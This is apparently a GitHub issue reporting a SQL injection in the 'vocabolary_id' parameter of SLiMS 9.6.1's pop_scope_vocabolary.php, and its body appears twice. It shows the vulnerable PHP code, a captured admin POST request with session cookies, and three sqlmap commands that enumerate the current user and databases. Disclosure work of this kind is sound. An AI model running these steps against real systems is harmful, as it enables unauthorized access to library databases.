## The Bug

A SQL Injection exists in `admin/modules/master_file/pop_scope_vocabolary.php` at the code below 

```php
    $itemID = (integer)isset($_GET['itemID'])?$_GET['itemID']:0;
    if (isset($_POST['save'])) {
    $data['topic_id'] = (integer)$_POST['topic_id'];
    $data['scope'] = trim($dbs->escape_string(strip_tags($_POST['scope'])));

    $sql_op = new simbio_dbop($dbs);

    if (!empty($_POST['vocabolary_id'])) {
        $save = $sql_op->update('mst_voc_ctrl', $data, 'vocabolary_id='.$_POST['vocabolary_id']);
    } else {
        $save = $sql_op->insert('mst_voc_ctrl', $data);
    }

    if (isset($_POST['delete'])) {
        $save = $sql_op->delete('mst_voc_ctrl', 'vocabolary_id='.$_POST['vocabolary_id']);
    }

    if ($save) {
        $alert_save  = '<script type="text/javascript">';
        $alert_save .= 'alert(\''.__('Data saved!').'\');';
        $alert_save .= 'parent.setIframeContent(\'itemIframe\', \''.MWB.'master_file/iframe_vocabolary_control.php?itemID='.$data['topic_id'].'\');';
        $alert_save .= 'top.jQuery.colorbox.close();';
        $alert_save .= '</script>';
        echo $alert_save;
    } else {
        toastr(__('Failed to save data!'))->error();
    }
```
With the involvement of the method `update` at `simbio2/simbio_DB/simbio_dbop.inc.php`

**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to `master_file/pop_scope_vocabolary.php`
2. Make sure the burp is on to capture the request as below
```
POST /slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php HTTP/1.1
Host: localhost
Content-Length: 49
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=eel0fokbtsis2d1ghr4cq85hf7; admin_logged_in=1; SenayanMember=cko77re8044fbri0k2qanf1dkv

Connection: close

scope=TEST&topic_id=0&vocabolary_id=&save=Save
```
3. Save the request into a file (for_sqlmap.req)
4. Run the test with sqlmap with the command
```bash
PHASE 1:
   sqlmap -r for_sqlmap.req --dbms=mysql -p vocabolary_id --current-user

PHASE 2:
   sqlmap -r for_sqlmap.req --level 5 --risk 3 -p vocabolary_id --dbms=mysql --dbs --flush-session --random-agent

PHASE 3:
   sqlmap -r for_sqlmap.req --level 5 --risk 3 -p vocabolary_id --dbms=mysql --dbs --flush-session --user-agent --technique=TB
```
5. Both PHASE 1 provide a list of what SQL Injection may available in the code, then PHASE 2 further more explain the SQL Injection Type, which is Time-based Blink SQL Injection as the image below:
![image](https://github.com/slims/slims9_bulian/assets/143168734/b51a9f94-6a64-4c66-8609-8bc4d0510ec4)

6. PHASE 3, will give us a proof-of-concept of the current user

### Files
**for_sqlmap.req**
```
POST /slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php HTTP/1.1
Host: localhost
Content-Length: 49
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=eel0fokbtsis2d1ghr4cq85hf7; admin_logged_in=1; SenayanMember=cko77re8044fbri0k2qanf1dkv

Connection: close

scope=TEST&topic_id=0&vocabolary_id=&save=Save
```

### Screenshot
**proof-of-concept of current user**
```payload:
   sqlmap -r for_sqlmap.req --level 5 --risk 3 -p vocabolary_id --dbms=mysql --dbs --flush-session --user-agent --technique=TB
```
![image](https://github.com/slims/slims9_bulian/assets/143168734/e5936470-d853-493c-9254-5e8067efea73)

**Versions**
 - OS: Windows
 - Browser: Firefox | 116.0.3 (64-bit)
 - Slims Version: slims9_bulian-9.6.1

## Notes
Vuln0wned Report: SQL Injection in pop-scope-vocabolary.php
This is a GitHub Issue
repo:slims9_bulian
owner:slims
Title : Vuln0wned Report: SQL Injection in pop-scope-vocabolary.php
Issue date:

--- start body ---
## The Bug

A SQL Injection exists in `admin/modules/master_file/pop_scope_vocabolary.php` at the code below 

```php
    $itemID = (integer)isset($_GET['itemID'])?$_GET['itemID']:0;
    if (isset($_POST['save'])) {
    $data['topic_id'] = (integer)$_POST['topic_id'];
    $data['scope'] = trim($dbs->escape_string(strip_tags($_POST['scope'])));

    $sql_op = new simbio_dbop($dbs);

    if (!empty($_POST['vocabolary_id'])) {
        $save = $sql_op->update('mst_voc_ctrl', $data, 'vocabolary_id='.$_POST['vocabolary_id']);
    } else {
        $save = $sql_op->insert('mst_voc_ctrl', $data);
    }

    if (isset($_POST['delete'])) {
        $save = $sql_op->delete('mst_voc_ctrl', 'vocabolary_id='.$_POST['vocabolary_id']);
    }

    if ($save) {
        $alert_save  = '<script type="text/javascript">';
        $alert_save .= 'alert(\''.__('Data saved!').'\');';
        $alert_save .= 'parent.setIframeContent(\'itemIframe\', \''.MWB.'master_file/iframe_vocabolary_control.php?itemID='.$data['topic_id'].'\');';
        $alert_save .= 'top.jQuery.colorbox.close();';
        $alert_save .= '</script>';
        echo $alert_save;
    } else {
        toastr(__('Failed to save data!'))->error();
    }
```
With the involvement of the method `update` at `simbio2/simbio_DB/simbio_dbop.inc.php`

**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to `master_file/pop_scope_vocabolary.php`
2. Make sure the burp is on to capture the request as below
```
POST /slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php HTTP/1.1
Host: localhost
Content-Length: 49
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=eel0fokbtsis2d1ghr4cq85hf7; admin_logged_in=1; SenayanMember=cko77re8044fbri0k2qanf1dkv

Connection: close

scope=TEST&topic_id=0&vocabolary_id=&save=Save
```
3. Save the request into a file (for_sqlmap.req)
4. Run the test with sqlmap with the command
```bash
PHASE 1:
   sqlmap -r for_sqlmap.req --dbms=mysql -p vocabolary_id --current-user

PHASE 2:
   sqlmap -r for_sqlmap.req --level 5 --risk 3 -p vocabolary_id --dbms=mysql --dbs --flush-session --random-agent

PHASE 3:
   sqlmap -r for_sqlmap.req --level 5 --risk 3 -p vocabolary_id --dbms=mysql --dbs --flush-session --user-agent --technique=TB
```
5. Both PHASE 1 provide a list of what SQL Injection may available in the code, then PHASE 2 further more explain the SQL Injection Type, which is Time-based Blink SQL Injection as the image below:
![image](https://github.com/slims/slims9_bulian/assets/143168734/b51a9f94-6a64-4c66-8609-8bc4d0510ec4)

6. PHASE 3, will give us a proof-of-concept of the current user

### Files
**for_sqlmap.req**
```
POST /slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php HTTP/1.1
Host: localhost
Content-Length: 49
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/modules/master_file/pop_scope_vocabolary.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=eel0fokbtsis2d1ghr4cq85hf7; admin_logged_in=1; SenayanMember=cko77re8044fbri0k2qanf1dkv

Connection: close

scope=TEST&topic_id=0&vocabolary_id=&save=Save
```

### Screenshot
**proof-of-concept of current user**
```payload:
   sqlmap -r for_sqlmap.req --level 5 --risk 3 -p vocabolary_id --dbms=mysql --dbs --flush-session --user-agent --technique=TB
```
![image](https://github.com/slims/slims9_bulian/assets/143168734/e5936470-d853-493c-9254-5e8067efea73)

**Versions**
 - OS: Windows
 - Browser: Firefox | 116.0.3 (64-bit)
 - Slims Version: slims9_bulian-9.6.1

## Notes
--- end body ---

A SQL Injection vulnerability exists in the `pop_scope_vocabolary.php` file of the Slims9 Bulian application. The vulnerability arises from the improper handling of user input in the `vocabolary_id` parameter, which is directly used in SQL queries without sufficient sanitization. This allows an attacker to manipulate SQL queries by injecting malicious SQL code through the `vocabolary_id` parameter, potentially leading to unauthorized data access or modification.